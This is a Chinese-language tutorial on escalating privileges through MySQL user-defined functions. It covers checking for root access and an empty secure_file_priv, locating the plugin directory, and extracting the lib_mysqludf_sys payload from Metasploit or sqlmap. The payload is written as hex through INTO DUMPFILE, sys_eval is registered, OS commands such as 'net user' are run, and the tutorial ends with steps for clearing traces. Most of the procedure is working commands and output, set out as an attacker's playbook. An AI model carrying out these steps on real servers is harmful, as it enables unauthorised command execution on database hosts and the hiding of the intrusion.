mysql之udf提权
前言
UDF简介
UDF (user defined function)
,即用户自定义函数。是通过添加新函数,对MySQL
的功能进行扩充,就像使用本地函数如 user()
一样。
加载udf
,示例中文件末为.so
,则为linux
系统,如果是win
,则后缀为dll
CREATE FUNCTION metaphon
RETURNS STRING
SONAME 'udf_example.so';
查看存在的udf
SELECT * FROM mysql.func;
删除udf
DROP FUNCTION metaphon;
提权思路(一)
When
在无web
脚本执行权限,但是有mysql root
执行的环境下,我们就可以通过into dumpfile
函数导入udf.dll
进行提权。有web
脚本执行权限时,也可以直接上传udf
提权脚本,快速搞定。
总结一下就是需要有mysql的root权限,就可以尝试使用UDF提权
这个第一个思路是针对没有web脚本执行的情况下进行的提权
若不确定是否是root权限可以使用命令查看一下
select * from mysql.user where user = substring_index(user(), '@', 1)\G;
What
数据库相关信息
既然使用dumpfile
那么secure_file_priv
肯定要设置为空的
注意:secure_file_priv的值为NULL或者是存在值是不能利用UDF提权的,只有空值才行
在
mysql
配置文件中改即可
mysql> show variables like '%secure%'; //查看可导出文件位置
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
确认mysql安装位置
select @@basedir as basePath from dual ;
show variables like '%basedir%';
检查系统构架及plugin
目录,通过主机版本及架构确认mysql位数来选用udf文件
mysql> show variables like ’%compile%‘;
+---------------------------+----------------------------------------+
| Variable_name | AMD64 |
+---------------------------+----------------------------------------+
| version_compile_machine | AMD64 |
+---------------------------+----------------------------------------+
| version_compile_os | Win32 |
+---------------------------+----------------------------------------+
1 row in set (0.00 sec)
show variables like "%plugin%";
+---------------+----------------------------------------+
| Variable_name | Value |
+---------------+----------------------------------------+
| plugin_dir |C:\phpStudy\MySQL\lib\plugin\ |
+---------------+----------------------------------------+
提权payload
提权payload在kali中的msf中就有
/usr/share/metasploit-framework/data/exploits/mysql
sqlmap里面也有
sqlmap\data\udf\mysql
sqlmap自身UDF文件进行异或加密了,使用sqlmap解密一下再使用
python extra/cloak/cloak.py -d -i data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
用010editor
打开后另存为十六进制文件,然后去掉空格,去掉换行,生成payload
将生成的payload写入到plugin目录下
select ‘payload’ into dumpfile 'D:/Programs/PHPStudy/MySQL/lib/plugin/udf.dll';
查看数据库版本,判断udf文件写入位置
select version();
注意:mysql自身版本特性,我们将payload是要放在mysql的检索目录中,但是由于版本特性不同,目录也有所不同
1、 Mysql < 5.0
导出路径随意。
2、 5.0 <= Mysql < 5.1
Win2000导出路径: C:/Winnt/udf.dll
其他Windows系统导出路径均为:C:/Windows/udf.dll或C:/Windows/system32/udf.dll
3、 Mysql >= 5.1
Mysql安装目录的lib\plugin文件夹下,如果mysql安装时不选择完整安装或使用集成开发环境等情况下lib\plugin目录大概率是不存在的,需要自行创建。
##有web脚本执行权限的时候,可以直接上传该UDF文件,没有执行权限就提取十六进制这个方法
调用此提权UDF
mysql> create function sys_eval returns string soname 'udf.dll';
Query OK, 0 rows affected (0.00 sec)
此时再去查看存在的UDF就能看到自己上传的这个UDF了
select * from mysql.func;
select sys_eval(‘net user’);
至此就完成了UDF提权
痕迹清除
删除表
drop table udf;
删除函数
drop function sys_eval;
补充
UDF提权一般仅适用于windows系统,linux系统由于自身对plugin目录严格的写入权限,很难利用